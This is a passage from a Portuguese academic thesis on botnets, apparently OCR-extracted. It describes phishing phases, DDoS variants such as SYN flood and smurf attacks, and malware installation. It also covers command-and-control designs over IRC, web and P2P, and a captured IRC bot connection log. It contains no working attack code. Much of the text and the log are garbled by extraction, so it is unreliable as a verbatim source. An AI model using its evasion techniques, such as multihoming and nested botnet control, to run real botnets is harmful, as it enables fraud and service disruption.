(THE HONEYNET PROJECT, 2008a).

Phishingé um método no qual o atacante engana e roubantiedés de usuarios
de internet, obtendo informacdes pessoais e fil@sc atacante envia mensagens para 0s
usuarios, passando-se por uma instituicdo confi@vegitima, como um banco, empresa ou
um site popular. As mensagens fashingsao, via de regra, enviadas em formasgam
através ddots, e direciona os usuarios a sites falsos, porémonmléntico ao verdadeiro, e
induz o usuério a fornecer e enviar seus dadosogisssnclusive senhas (MICROSOFT,

2011a).

O termopishing,do inglés fishing, € uma analogia feita pelos fraudadores em
que os emails das vitimas representam iscas, eltd@ados para “pescar’” os dados dos

usuarios, sobretudo financeiro.
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Bambenek e Klus (2010) consideram qlashingé a consequéncia logica do
spammingou ainda, um spam avancado que tem a capaci@aitkeluzir ao erro os incautos

usuarios, capturando os dados fornecidos por estes.

Em (FSTC,2012) foi realizado um estudo sobre assfate um ataque de
phishing que consiste basicamente em planejamento, coafiga, ataque, coleta, fraude e o

pos-fraude.

O planejamento € a fase prévia em que sao decidslobjetivos e selecionados
os alvos, que podem ser pessoas, pequenas empiésgsandes instituicdbes bancarias.
Também serdo definidas as credenciais (nome, nompais, endereco, CPF, conta bancaria,

senhas e outros) que se pretendem capturar e domgie serd usado na fase do ataque.

Na fase de configuracdo, o responsavel pishing o pisher, cria matérias que
fardo partes dos e-mails ou sites maliciosos. Cjanwisto, estas matérias sao sites falsos ou
algum tipo de propaganda que tenha o objetivo darle usuario de internet, fazendo,
erroneamente, a digitar seus dados confidenci@ssaNfase, também seré obtida as listas de
enderecos eletrdnicos das potenciais vitimas, bamo cestabelecido as configuragbes da
botnet das péginas web, dos servidores, inclusive smméd proxy e demais servicos

necessarios para cometer a atividade ilicita.

O atague é entdo realizado conforme o planejanerm@® credenciais coletadas
através de pagina web, respostas de e-mails, adptirpor malwares baixados no

computador da vitima ou até por telefone.

A proxima fase, da fraude, é a mais impactantes paiesta que as informacdes
obtidas sdo transformada em dinheiro, bens ouceerviou seja, € onde as vitimas tem

efetivamente o prejuizo financeiro.
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Por fim, osphishersprecisam encerrar as atividades, desligando o riszearde

ataque, apagando evidéncias e evitando deixasmga@os comprometam.

Os ataques dehishing sao realizados utilizando-se de ferramentas ec#xn
capazes de enganar usuarios desavisados, e aiestjué permite o golpe pode ser simples
como uma péagina HTML inserida em um servidor wedralnente comprometido, e um
script que captura todos os dados inseridos peloérios, ou mais complexa, empregando

técnicas d@harmingou envenenamento de DNBONEYNET PROJECT, 2008a).

O Projeto Honeynet (2008) também mostra a estreltegdo entrghishing e
spamming,uma vez que ophishersrequerem um método que possa atingir um namero
maximo de vitimas, e, assim, eles tém encontrgukreeria ideal na forma dgamem suas

atividades criminosas.

Abaixo, a figura representa uma captura de atagyshidhingrealizado atraves

de spam:

N Pharming é a técnica de ataque baseada no DNS cache poisoning ou envenenamento de cache DNS, pelo qual
o criminoso, aproveitando brechas no dominio, injeta um endereco falso dentro do servidor DNS. Assim, se o
usudrio digitar o enderego de um site e o servidor DNS estiver envenenado, o enderego correspondente sera
apontado para uma pagina falsa controlada pelo fraudador.
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Figura 2.8 — Ataque de phishing

2.5.3 DDoS

Para a Microsoft (2011a) um dos mais antigos atarpadizados através detnet
foi justamente para realizar um ataque distribuielmegacéo de servico, ou DDOS, do inglés

Distributed Denial of Service

Primeiramente cabe definir um atague DOS, e pakamara e Geus (2007) um
ataque de negacdo de servicos € quando recursardputadores ou sistemas sao
agressivamente explorados, fazendo com que osiosu@gitimos figuem impossibilitados

de utiliza-lo.



41

A Microsoft (2011a) continua e informa que, normaiie, tais ataques inundam
0s recursos disponibilizados aos usuarios atraeegrande trafego na rede, saturando sua

largura de banda e, consequentemente, deixandpordieis 0s servigos.

Assim, a evolucéo natural de ataques do tipo D@&fas ataques coordenados,
ou também conhecidos por DDOS. E essa modalidagédicada por Nakamura e Geus
(2007), € quando diversos host distribuidos séoadtss e coordenados por um hacker,
realizando ataques simultaneos aos alvos. E issdtaeum ataque extremamente eficiente,
dificultando a rastreabilidade da origem do atagistp que procedem de varios hosts que

foram vitimados.

Howard (2009) e outros fazem uma importante obgéo/ao informar que o0s
atagues DOS, apesar dos bem sucedidos ataquesssadpatem pouquissima eficiéncia
atualmente, isto porque os servidores WEB atuaisalgente contam com grandes
quantidades de armazenamento em disco e alto pederocessamento, além de dispor de
largura de banda bem maior que antigamente. Assimse tornado cada vez mais dificil um

anico computador obter éxito em um ataque de negagdervico.

E nessa linha de raciocinio que entrarbatsets pois, mais uma vez, elas tém se
tornado a aliada perfeita para o langamento dessialidade de ataque. Howard (2009)
considera que essa alianca provavelmente é a enxastddora possivel em um curto periodo

de tempo, bem como a proporcéo do de danos causaghossse tipo de atividade.

Inicialmente, e como j& dito, os ataques de negdedservico visam interromper
e privar 0s usuarios legitimos de servicos ou Basurprestados por um sistema
computacional, mas, além dessa intencionalidaddiataeexistem, conforme Howard (2009)

e Dunham e Melnick (2009), algumas motivacdes niastia
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 Ganho financeira como toda atividade criminosa, o principal ato
motivador € o ganho financeiro. Assim, os ataqu&OBb tém sido
utilizados para extorquir ou chantagear, na medioa que ameagam
servigos online a menos que as empresas O pageasairizar 0 ataque

para outras pessoas que ndo detém o conhecimenabygar o servico e

infraestrutura do ataque;

« Travessura script kiddies treinando ou se divertindo com as técnicas de

ataques;

* Vinganca diversas empresas, sobretudo de anti-spam eirastiforam

alvos de hackers como forma de vinganca e protesto;

« Hacktivismo® promover um tumulto com intencdo de expor suas

ideologias politicas, sociais ou humanitarias.

* Terrorismo: o mundo atual ndo conheceu, de fato, uma cybemrguOs
autores consideram que as atividades vivenciadash@e envolvendo
afrontas do poderio de guerra cibernética forawsfetolados. Assim, para
eles, tal modalidade de ataques DDOS visando a@s fjs terroristas

foram, na verdade, uma espécie de hacktivismaiqumolit

» Competicda empresas ou especialistas em seguranca atacamisas,

visando demonstrar seu conhecimento e poder.

> Individuos inexperientes que, por ndo ter conhecimento avancgado, utilizam-se de programas prontos para
invadir sistemas, realizar ataques ou quaisquer outras formas de violar a seguranca da informacao.

6 Designagdo das palavras hack mais activismo, a qual pessoas utilizam a informatica para defender seus ideais
politicos, filoséficos ou humanitarios.
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Nakamura e Geus (2007) consideram que 0s maicspsmgaveis pelos ataques
de negacdo de servigco sdo os proprios desenvobgedear softwares, devidos dmsgsem
servigos, aplicativos e sistemas operacionais.eDegido, diversas falhas na concepcéo e
implementacéo destes servi¢os, programas ou ptosoabrem brechas que sao exploradas e

aproveitadas para ataque em massa.

Howard (2009) classifica os ataques de negacaerdes coordenados em dois
grandes grupos: o de esgotamento de largura dealmmdde esgotamento de recursos. O
primeiro tenta subjugar o alvo com uma quantidamerae de trafego indesejado, impedindo,
entdo, que as solicitagcdes legitimas alcancem b dfetado. J& o segundo, como o nome
sugere, tenta esgotar os recursos do sistema alvestdo intimamente ligadas as

vulnerabilidades internas ou as configuracdes ei@d ou simplistas de servidores.

Nesse contexto, o autor continua mostrando asipaiscmodalidades utilizadas

para realizacao de ataques do tipo DDOS:

» User Datagrama Protocol (UDP) Flood Attack € um ataque de inundacéo
em que 0s agentes enviam uma grande quantidadeadatep UDP
diretamente para a vitima. Como essa acao é exlecpta diversos agentes,

a largura de banda do alvo ndo é capaz de prodas &s requisicoes.

ERXYYYL10L, UDP ————»
XXXYYYL102, UDP ———
XEXXYYY L1103, UDP —

Afttackers

EXXYYYL1I04UDP —p

Victim

===}

Figura 2.9 — UDP Flood Attack. Fonte;: HOWARD, 2009
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* Ping Flood Attack: devido a fragmentacao de pacotes de IP, o qualifge
especificar a quantidade maxima de dados que p@dssar em um pacote
através da rede fisica, um ataque de inundac@ingeproveita da forma de
como a fragmentacdo e 0 reagrupamento desses padoram
implementadas. O método consiste em enviar padGe$® com o MTU
maior que o normal, fazendo com que os sistemasnralevido a grande
sobrecarga ddouffer da pilha TCP/IP. Para Dunham e Melnick (2009),
atualmente essa forma de ataque caiu em desuscapea das corretas
implementacgdes e atualizacbes nos sistemas, géibzde firewall, bem como

modernas e mais bem sucedidas formas de ataque.

« Smurf e fraggle estes ataques sao reflexivos, pois entre a vigimatacante
existe a presenca de um intermediario, que toriergtificacdo ainda mais
dificil, tendo em vista que o trafego que chegalso parte do intermediario
e ndo do atacante. 8nurf e o fraggle consistem em enviar uma grande
qguantidade de pacotes ping, ICMEhoe UDPechorespectivamente, para o
broadcastda rede, como se o0 endereco de origem fosse @ VRicha através
de outra técnica, o IBpoofing. Entdo, cada host recebera a requisicdo e

respondera para o endereco da vitima.

7P Spoonfig é a técnica que mascara o endereco de um atacante. Nos ataque DDOS, os pacotes com as
respostas sdo direcionadas para o enderego da vitima, que foi forjado pelo atacante.



: Vulnerable Network Device @
oA {Amplifier) <;>
ICMP ECHO REPLY
Traff N

Figura 2.10 — Smurf e Fraggle. Fonte: HOWARD, 2009

Syn Flood Attack uma das formas de estabelecimento de conexdiaacka

na camada de transporte, éhandshakede trés vias, e, conforme explica
Tanenbaum (2003), duas estac¢Bes confirmam umara qué esta pronta
para iniciar a transmissdo, sincronizando o nungdergequencia entre elas
através dos pacotes Syn e Ack. Entédo, conformelaresido por Nakamura
e Geus (2007), esse ataque gera um grande numegreddio de conexao
(pacotes syn), ndo conseguindo o servidor atentlmtass as demandas. Dai,
um overflow ocorre na pilha de memoaria, fazendo com que asisieges

legitimas ndo sejam atendidas.

Push and Ack Atacks semelhantes & inundagéo de pacsyesos atacantes
enviam pacotes TCP com os bits plash e ack setados com valor um. Os
pacotes setados desta forma instrui que o sistematidha descarregue 0s
dados ddouffer TCP, mesmo que este ndo esteja cheio. Com agépeleste

processo, 0 sistema ndo consegue processar o graluhee de entrada, o

que ocorrerd a negacgao de servico.
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 Land Attacks: atualmente este ataque € ineficaz em sistemadizatlos,
porém, devido a simplicidade, foi muito exploraBte consistia em criar um
pacote IP especial em que o endereco de origem erasmo de destino,
fazendo com que o computador ficasse, continuameaspondendo a si

mesmo.

Spoofed TCP/SYN Packet ———

Source Host/Port =

Destination Host/Port =
[ Victim Address J

Victim

Figura 2.11 — Land Attack. Fonte: HOWARD, 2009

2.5.4 Instalagéo deMalware

O Relatorio de Seguranca da Microsoft (2011a) eaptjue € comum que as
botnetstambém sejam utilizadas para realizar automatictarsimwnloads denalwarespara
as estacbes das vitimas. Deste modo, o intuitonaaieitores € forcar a instalacdo de
adwares spywaresou quaisquer outros softwares potencialmente @jéesis, visando

rapidamente obter lucros.

Umas das funcionalidades da instalacdo de taigo®diervem para campanhas
publicitarias, como o caso ¢ay-per-clickou link patrocinado, o qual a matéria veiculada na

internet é paga quando tem seu anuncio clicadbotAet entdo, faz com que as unidades
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comprometidas aumentem artificialmente o contadorckijues, gerando lucros para seus

criadores.

De um modo geral, osmalwares instalados pelasbotnets trabalham
silenciosamente, evitando alertar ao usuario querputador esta infectado. Porém, em
outros casos, algumas botnets forcam o usuério berba executar falsos programas
disfarcados deantimalwareslegitimos, e, consequentemente, exibe alertasnfigecioes

inexistentes e a promessa de remové-los caso aasoépre a versdo completa.

Ainda, para a Microsoft, a instalacdo de codigoBamwaos é tao drastica, que ela

pode, inclusive, instalar outras familiashas tornando-a mais devastadora.

2.5.5 Roubo de Dados Confidenciais

Dunham e Melnick (2009) ponderam que informacaocerthecimento é poder,
e, para 0s criminosos, vale dinheiro. Entdo, moitistém sido instruidos para vasculhar nos
computadores pessoais quaisquer informacdes gam sefjevantes e que possam ser usadas

de alguma forma para obter lucro.

Tais informacbes podem ser nomes de pessoas, asudigta de e-mails,
credenciais, nimeros de contas bancarias e senittzess de cartdes de crédito, chaves de
produtos ou qualquer outro dado sensivel que degeri guardado em sigilo. Tal contexto
pode também ser aplicado em grandes empresas,fiparale espionagem e segredos

comerciais, tornando problema ainda maior.
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Os autores ainda alertam que lagnetsmais modernas tém a capacidade de
igualmente vasculhar o trafego da rede, permitioge um bot consiga realizar um

eavesdrofy podendo mapea-la, conhecer servicos, programesées.

2.6 Estratégias de C&C

Como bem pronunciado por Schiller (2007), “Controlan computador é
relativamente facil. Controlar mil computadoresntese um pesadelo logistico”. Dai a
extrema necessidade de existir alguma forma autzawat de controlar os computadores

vitimas.

2.6.1IRC C&C

Ha tempos as botnets utilizam a tecnologia de IR@ pxercer as atividades de
comando e controle, pois, além de ser robustaupasstas caracteristicas desejaveis, tais

como.

» Bastante interativa, e a simplicidade de seu pobddpcom comunicacéo full-
duplex, permite uma interacdo dindmica entre ambgsartes, estilo cliente-

servidor;

* Facilidade de criagdo e uma diversidade de seesd@ue suportam o

protocolo;

® Eavesdrop é uma técnica de hacking, baseada naremgem, que consiste em violar a
confidencialidade, capturando pacotes nos segmeaigagde. Muito semelhante ao grampo
telefonico.
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* Facilidade de controlar dsotnets inclusive quando mais de uma botnet é

gerenciada em um mesmo servidor;

* A redundancia, garantindo a continuidade da opergudde ser conseguida

com um simples link entre servidores.

Quando uma infecg¢ao ocorre, o ndwuat informa para o controlador, confirmado
0 estado de contaminacdo. Esse aviso pode seésilavuma mensagem privada ou quando
automaticamente o zumbi adere a um canal de chhilleé® (2007) exemplifica que essa
mensagem consiste em algo do tipo: “Oi. Estou asprihor. Meu IP é 127.0.0.1 e estou

escutando na porta 666!".

Como ja dito anteriormente no decorrer do trabdloetneté uma analogia de um
exército de computadores infectados que recebemnsrde um comando central. Entéo,
apesar da facilidade de controle lm#netscom servidores IRC, um ponto fraco de seu uso
seria justamente o fato dele ser centralizado,ocoréd modelo da figura abaixo. E, como num
exército real, esse nO central pode ser passivelindeataque ou interrupcado, ficando

bloqueado para exercer suas atividades.

De inicio, quando um C&C sofria uma paralisacddata botnet praticamente
parava de atuar. Na pratica, o controlador ndo m@miseguia emitir instrucées nem saber

quaisbotsestavam sob seu dominio.

Depois,botnetsmais especializadas inovaram com controles aligosatUm tipo
de controle podia vir na propria contaminacao ahjconde umbackdoorja liberava uma

porta TCP, permitindo uma ligacdo remota e a reagd® do controle.
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Em outros casos, a unidade de Comando e Contrefipseu proprio backup, e,
caso a comunicacao seja perdidabots restabelecem a comunicagcdo automaticamente com

o botherder

botmaster

C&C C&C

ot

bot bot

bot bot bot

Figura 2.12 — Modelo centralizado de controladorege botnet Fonte: WANG, 2012

Ocorre que a extrema simplicidade do protocolo pgermcom o tempo, que
botnetsconcorrentes tomassem para si o controlebadds mudando suas caracteristicas ou
mesmo a desmontassem. Por conseguinte, o propit far nascer novas tecnologias de

controle debotnets substituindo os servidores de IRC ou completarsio-

2.6.2 Web C&C

Depois do uso do IRC como controlador, o mais coenimtipo de C&C usado
sdo os servidores web. A diferenca basica € o amabntrole que € um protocolo muito

diferente que o utilizado em servidores IRC.
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O relatério de inteligéncia da Microsoft (2011a)ngera que a utilizacdo de
HTTP como um controlador aumentou muito nos Ultimass, embora eles ainda sejam
responsaveis por menos infeccées do quieotsde IRC, como pode ser visto no gréafico da

figura 2.13.

Figura 2.13 — Quantitativo médio dos mecanismos de&C. Fonte: MICROSOFT, 2011a

Schiller (2007) dividiu em dois tipos os controlesbbaseados em webechoe

0 comando.

No echo, simplesmente é anunciada a presenca dw bwivpara o comando

central. Esse aviso se realiza de algumas maneiras:

« Conectar e esquecero bot somente se conecta ao sistema. Ja ao controlador
cabe registrar essas conexdes e seus enderecos, IBegalmente, séo feitas
em arquivos de logs. Em alguns casos, os conhecaitadores de visita em

sites sdo utilizados para este fim.
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* Arquivo de dados semelhante ao anterior, porém o0s servidores possu
arquivos com uma lista de instru¢des que serd@bascpelo cliente quando
de sua conexdo. Ao invés de uma lista de instrugdds existir também um

arquivo executavel que, da mesma forma, sera baankstalado.

 Dados de URL nesse caso, o servidor recebe do cliente um ecoleue
conterd informagBes imprescindiveis como porta geed usada pelo

backdoor ou senha para acessar o bot.

Ja a baseada em comandos consiste em um compleangmdédgquer outro tipo de
botnet ajudando o comando central a gerenciar seu ¢éxéme um modo geral, sdo
interfaces gréficas em que o C&C emitird instrug@es zumbis. Nesse caso, 0s controladores
que se conectam dmts e ndo o0 contrario, como na situagdo anterior eenas clientes se
conectavam ao seu comandante. Esses comandos gmeyngiéntre outros, as seguintes

tarefas:

* Realizar downloads e os execute nas estacdes alvos;

» Transferéncia de arquivos;

« Executar comandos Shell;

* Realizar screenshots;

* Bloquear urls;

» Alterar o arquivo host, fazendo com que usuariggnseedirecionados para

sites maliciosos, em vez do que ele pretende dentategar;

* Algumas interfaces graficas mais modernas perméseolhemots por pais,

por ISP, por largura de banda, bem como coletarslastatisticos.
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Dunham e Melnick (2009) asseveram a facilidade gomancia do surgimento
dasbotnetscontroladas por servidores web, onde existe alplidade de comprar, inclusive,
toolkits por poucos doélares preparadas para realizaataque. E tais ferramentas prontas
podem incluirexploits codigos maliciosos nao detectaveis por antivrusecanismos para

vasculhar, copiar e classificar dados roubadosistambém intuitivo e muito facil de usar.

Continuando, os autores fazem um contraponto, amddr as principais

vantagens da utilizacdo de controladores em saesdeeb sobre os servidores de IRC:

 Como a porta TCP 80 é quase sempre liberada pasifego normal na rede, o

trafego de botnet passa geralmente despercebido;

* Os zumbis de servidores web ndo requerem uma comexétante, pois estes
informam quando estdo online. Consequentementgfegb de rede entre o
zumbi e o n6 central sera bem menor, dificultanddaamais a deteccao de

atividades irregulares;

* A escalabilidade de um servico web é maior que apacidade de

computadores que as salas de bate-papo conseguamige

* Quanto a usabilidade, as redes zumbis baseadasreitioses web sdo mais
faceis de serem operadas por botherder médio, pois ndo exigem uma

programacao mais apurada ou personalizada.

A Microsoft (2011a) também compartilha da facilidadque o HTTP
proporcionou, pois é o protocolo primario para ig@géio em rede, dificultando a detecgcédo do
trafego ilegal de umbotnet Apresenta ainda que o HTTP é muito usado petissreumbis

para baixar atualizacbes e outmalwares independentemente do mecanismo de C&C, pois
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aguelas ja contam com seus proprios servidores paed hospedar sites ghishing ou

qualquer outro conteudo ilegal.

Em (DUNHAM; MELNICK, 2009) é citado ainda as precéas que obotherder
devem ter ao configurar loot, pois, a comunicagdo com um servidor web baseadore
anico endereco IP ou a um dominio especifico énfiacite mitigada, tendo em vista que o
endereco pode ser facilmente bloqueado e o ISP pedenotificado para encerrar o

comportamento malicioso daquele IP identificado.

Para tanto, concluem que existem alguns procedoseou técnicas para
dificultar a investigacéo da atividade maliciospostergar um possivehutdownno sistema
de bot. A idéia basica, seria primeiramente comfigum dominio para ter varios IPs, técnica
conhecida comanultihomig e caso algum endereco seja blogqueado, outro atitamente
assume o lugar. Outra situacdo, que por sinal fdoto pratica atualmente, consiste em
controlar umabotnetcom outrabotnet Entéo, botherder pequenas, de no maximbd@q
emitem comandos parbotherders maiores, dividindo o controle e consequentemente,

dificultando a identificagéo dootherdermaster.

2.6.3 Peer-to-Peer C&C

Primeiramente, conforme define Tanenbaum (20@8gspeer-to-peenu P2P é
um sistema ndo hierarquico, totalmente distribudshmle cada n6 é simétrico e ndo existindo
nenhum tipo de controle ou hierarquia entre elesa#tagem principal desse modelo é uma
variedade de recursos, como armazenamento, prooestr largura de banda, resisténcia as

falhas e uma 6tima escalabilidade.
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Em (MICROSOFT,2011a) € exposto que, historicamemtgase totalidade das
botnetspossuia mecanismos de controle centralizado, paigomas familias de botnets,
atualmente, tém adotado a tecnologigéder-to-peerDeste modo, 0s criminosos reforgcam o

anonimato, fugindo do controle e resistindo a passidesligamentos do sistema.

Como visto nos mecanismos de comando e controbriargs - sobretudo nos
mais antigos que ndo contavam com recursos de dadam, backup, DNS dinamico - os
servidores de C&C sado basicamente o Unico ponfalda. Ao passar o controle central para
arquitetura P2P, a rastreabilidade dos cabecasgdainacdo e a averiguacdo do tamanho real

da rede maliciosa torna-se tarefa mais complexa.

Dunham e Melnick (2009) informam que as redes FP2knmaram atencdo dos
botherderslogo ap6s a grande popularidade alcancada comenscess de musicas e
compartilhamento de arquivos pelo NapStpermitindo a criacdo de redes privadas P2P com
o fim especifico de controldrots gerando um modelo eficiente de gerenciamento lsem

anico ponto de falha (figura 2.14).

Figura 2.14 — Modelo P2P de controladores daotnet Fonte: WANG, 2012

9 . . ;. .

Programa de compartilhamento de arquivos, sobretudo musica em formato mp3, em redes P2P, que permitia
aos usuarios efetuar um download direto da maquina de outros usudrios, tudo de forma descentralizada, pois
cada usuario conectado exercia tanto fungdo de cliente como servidor.
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Com esse modelo desenvolvido, € possivebaiterdero controle de toda a
botneta partir de qualquer no (vitima) da rede P2Boterder por exemplo, a partir de uma
simples atualizacdo em um Unico no pode gerar eagio em cadeia, onde cada outro zumbi
dentro da rede P2P também sofre uma atualizag&mwpsizando um ao outro com as novas

configuracdes injetadas pdotherder

Schiller (2007) aponta que um ponto negativo nagrotadores em P2P é que de
qualquer ponto da rede pode ser injetado algumdeg@rogramacao, visando sequestro da
rede, monitoramento ou investigacdo, podendo-sksive, descobrir toda a rede logts J&
em (DUNHAM; MELNICK, 2009) é acrescentado que panitigar tais problemas, os

criminosos utilizam criptografia e tem seus codiggstados na rede com assinatura digital.

Wang e outros (2012) esclarecem que apesar da ideral de total
descentralizacéo nas redes P2P, existem modelosogtem com um servidor central, que
mantém metadados, informacdes de roteamento, paxde pedidos de buscas de arquivos e
coordenadas de controle de downloads entre os.paoesvia, esse servico central ndo

participa efetivamente dos downloads, mas constituponto de falha.

Para superar esse problema, o autor continua iafador que as botnets mais
sofisticadas preferem usar arquiteturas P2P putendgscentralizadas, onde cada nd, de
fato, cumpre seu papel de servidor, quando do psaceento de uma consulta de arquivo por
outro par, ou como cliente, quando este solicita gonsulta, ou seja, tudo sem controle ou

intermediarios.

Entdo, contando com o apoio dessas redes P2P samautoridade central, que
nao consegue garantir que arquivos compartilhadas séo maliciosos, obotherders
encontraram um local confiavel para armazenar sefiwares maliciosos, e, principalmente,

poder espalha-los.
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De tal modo, uma vez contaminado, o N6 compromepidissegue tentando
infectar outros nos. E essa contaminacdo € baseada lista que, segundo Wang e outros
(2012), contém a relacéo dos usuarios que sohatalgum contato anterior ou responderam
alguma consulta de arquivo. Depois, de um modol,ger&vorm P2P residirdA no mesmo
diretorio local de compartilhamento de arquivosjgalo ter um nome sugestivo ou popular,

e esperara gque outros pares 0 executem e promogantaninacao.

2.6.4 Outros controladores

Schiller (2007) ainda apresenta outras formas gam@nciar uma rede zumbi, que

apesar de timidas veem tornando-se comum:

» Comunicadores Instantaneosna verdade, ele atua como uma tendéncia em
auxiliar outras botnets com controladores diverfis. mesma forma, apés a
contaminagdo, o worm utiliza as contas de usuados programas
mensageiros, como MSN, GTalk, ICQ ou Yahoo, par&msaunicar com a
central. O autor resalta que, ao contrario dosrotautores em servidores IRC,
0S comunicadores instantaneos sdo controladosrpaodes empresas, 0 que
facilita sua deteccdo e filtragem de trdfego, n&@ndse eficaz para

gerenciamento de grandes redes zumbis.

* Ferramentas de administracdo remotaalguns programas com PCAnywhere,
RealVNC, TeamViewer ou ferramentas do préprio sist@peracional como o
RemoteDesktop Services- ou terminal services- da Microsoft, tem sido

encontrados em computadores comprometidos. Pogedrtechica precisa de
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gestdo continua e exclusiva, estacdo por estacapeoimplica em uma

dificuldade gigantesca de administracao;

e Servidores FTP. apesar de pouco comum na pratica, o protocolbdamfoi
experimentando como um canal de controlebdénets Tal tecnologia foi
utilizada juntamente com algumas formas de cavdéosroia bancario, que
ficavam em moddisten aguardando que o usuario acessasse a zona HT,TPS, e
em seguida, além de apresentar um site falso, reaptas credenciais — 0
phishing Os dados privados roubados, entdo, sdo envatasum servidor

FTP sobre dominio dootherder

Por fim, em (SCHILLER, 2007) é esclarecido que patelentemente do tipo de
mecanismo de controle que utmatnetfaca uso, a pratica comum é que todo C&C faca uso
de alguma forma de criptografia, autenticacdo awsa#Ecdo para limitar a capacidade dos

outros de espionarem as comunicacoes.

2.7. IRC e Botnets

Charalabidis (2000) define IRC como uma simplesnforde comunicacdo, em
tempo real, entre milhares de usuarios em todo muRdrém, como resalva, ele pode se

tornar uma ferramenta extremamente complexa paeastis outros fins.

Essa simplicidade consiste basicamente de doisgnas, um programa-servidor
gue aceita conexdes e um programa-cliente quesitamd a conexao ao servidor. J4 0s
servidores podem se conectar um aos outros, aungentacapacidade de se comunicar com
um grande numero de usuarios atraves do compangih de canais comuns de

conversacao.
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Apés um longo periodo de popularidade, sobretudocldente de IRC para
Windows — o0 mIRC — o protocolo de comunicacdo etroonsua decadéncia por volta de
2003, quando os mensageiros instantaneos se tamaspopulares, oferecendo recursos
mais inovadores e atraentes. A partir de entdotempos atuais, a utilizacdo do IRC, além da
ja conhecida aplicacdo ebotnets,ficou para fins mais especificos, como para troea d
arquivos, para prover suporte aos usuarios de agudistribuicdes Linux ou compartilhar

conhecimento e troca de idéias em alguns projete®fiware-livre (RFC, 1993a).

2.7.1 Protocolo IRC

O protocolo IRC é aberto e foi desenvolvido parau#izado com o protocolo
TCP/IP — mas ndo necessariamente somente eleopcenalmente, pode ser adicionado
SSL, criando um tanel que encapsula os dados ddoirdo fim (RFC, 2012a e

IRC.ORG,2012).

Ao longo do tempo o protocolo foi definido em al@sTRFC, a primeira foi a
RFC 1459. Atualmente, a arquitetura foi redefim@aRFC 2810. O gerenciamento de canal
esta presente na RFC 2811, o cliente na RFC 28i@ ¢im, o lado do servidor foi definido

na RFC 2813 (RFC, 2012b).

Os servidores formam a espinha dorsal da estrdufRC, sendo o ponto central
onde convergem e se conectam 0s usuarios pararsangem 0s demais usuarios, € também

0 ponto onde outros servidores se conectam, formeuh a rede de IRC.
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Figura 2.15 — Arquiterura IRC — Servidores A,B,C,De E, Clientes 1, 2, 3 e 4. Fonte: RFC, 2012b

O protocolo IRC também é baseado em texto, issmitgerque visualmente
perceba-se o que esta ocorrendo, assim, com untectielnet ou netcat € possivel obervar o

comportamento ao nivel de protocolo, linha a liiR&L.ORG, 2012).

2.7.2 Funcionamento basico do IRC

Independentemente do Sistema Operacional usadanaohamento padrao do
uso de um chat tipo IRC é primeiramente escolhaplativo cliente, em seguida, escolher

um apelido, ounick, e, por fim, o servidor e seu respectivo canal.

Um servidor pode ter tdo somente um canal, combamak de canais habilitados
ao mesmo tempo. Em geral, o nome do canal refle@waeza das conversas, e cada canal
tem seu tépico, que, em geral, é dindmico e é umaeldescricdo do que se pretende no chat,

conforme Mutton (2004).
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Os nomes de canais sao precedidos de uma cergtj/ha para acessa-los basta
um duplo clique ou o comando /join <nome do can@lemo pode haver uma infinidade de
canais dentro do servidor, o comando /list varoesarvidor e exibira todos os canais publicos

disponiveis, bem como a quantidade de usuarioa descricao.

Dentro dos canais, além dos usuarios comuns tamu@gios com alguns poderes
privilegiados, sdo os operadores, também chamad®Rleou IRCops, e seu nome vem
precedido do simbolo “@”. O operador pode ser adoni do canal ou simplesmente obteve a
funcdo de moderador, cuja fungdo principal é maat@rganizacdo do chat, banindo, se

necessario, usuarios que desrespeitam as regras.

2.7.3 IRCBots

Conforme exposto no inicio do trabalho e tambérniicatio por Charalabidis
(2000), IRC bots séo programas smriptsque foram criados para servir como ferramenta de
manutencio e gestdo de canais, porém nem toddilidéde de uso tem fins inocentes. E,

entdo, nesse ponto que se teve inicio 0 que hajgeecemos pdootnets

Tecnicamente e visualmente,bot € um cliente, e, como tal, ele permanece
conectado e listado como se fosse um usuario comar@m vigiando os eventos e seguindo
apenas as instrucdes que Ihe foram atribuidas, mmgam seu proprietario nao esteja online.
A diferenca basica entre ubpt e um usuario comum € que aquele passa muito tempo

conectado, sem dizer nada ou limitando-se as riespagtomaticas.

Os bots, como clientes especiais, correm em segundo plasdoecontrolados
através de comandos pré-configurados por meio deliemte de IRC comum. Sua resposta

pode ser tanto mensagens para outros usuariosidal d& escrita em arquivos. Mas a sua
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caracteristica primordial é fornecer alto nivelad¢éomacao tanto para tarefas tediosas como

as que exigem desempenho rapido (WANG et al., 2012)

2.7.4 IRCBotnets

Em geral, como todo acontece em todo tipo de tegrad, existem sempre
aquelas pessoas que abusam, explorando todasress foraliciosas para obter algum tipo de
vantagem. Com o modelo IRC também néo foi difeteqmeis os IRCbots foram

desenvolvidos até chegar ao conceito de bethets(MAYNOR et al, 2006).

Apoés a exploracdo bem sucedida, conforme vistoop@ad 2.4.1, aotnetusa
algum protocolo, como FTP, HTTP ou o CSend do podfRC, para se transferir para a
estacdo comprometida. O arquivo binario transfegéidmtomaticamente iniciado e logo tenta
se conectar com o servidor mestre. Em (HONEYNET HRCY, 2008a) € explicado que essa
conexao, geralmente, se da com um DNS dindmicmatk que caso ocorra alguma falha, o

bot é facilmente realocado.

Em seguida, com algum apelido especial que o itlgundi facilmente, doot tem
acesso ao canal dwotherder,que, via de regra, € acompanhada de senha (HONEYNE
PROJECT, 2008b) ou, como nos modelos mais atuaistografia (SCHILLER,2007).

Abaixo, a figura ilustra uma comunicacgdao tipicasapina infeccao bem sucedida.
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<= 1ircl MOOOD{ MEI NOTICE AUTH - *** Looking up your hostname. ..

== irel FoOTOD{. MM NOTICE AUTH :*** Found vywour hostnaue

- PABE secrecserwverpass

== NICE [urX]-700153%

—& TSER mltfwt 0 0 :mltfut

== rircl R FRH HOTICE [urx]-700L1E52 -*** If you are having problems cormecting dus Lo ping
timeouts, please type foguote pong EDIZETEE or Jfraw pong EDZEZTEEZ now.

<= DING. :ED3IEZTZE

=& DONG :EDZIZz2T7Z2

<= cirel OSSO RO 001 [urXE]-700152 -Welcome to the ircl XBODOO XD IRC Network
[arH]-70015% Inlt frtnicetyy

== ripel FHEDEDUFEE 00Z 0 [ard] 700159 cWour hostois ircll FEEDOOURDH, rmamdng wersion Tnreall -
betal’d

<= tircl . ROold. 3000 0030 [urX]-700152 D This server was created Sun Feb -8 18058:31 z004

== rirel ReofOol 200 004 [urX]-700159 direl.XooQO0i 200 Unreall Z-betal? iowghraldsORTWSRNCGE =wdHC Gl
IvhopsmhtikrBEoagqlAaLQbEeE fMECa=l

Figura 2.16 — Conexdao tipica de um bot. Fonte: HONENET PROJECT, 2008b

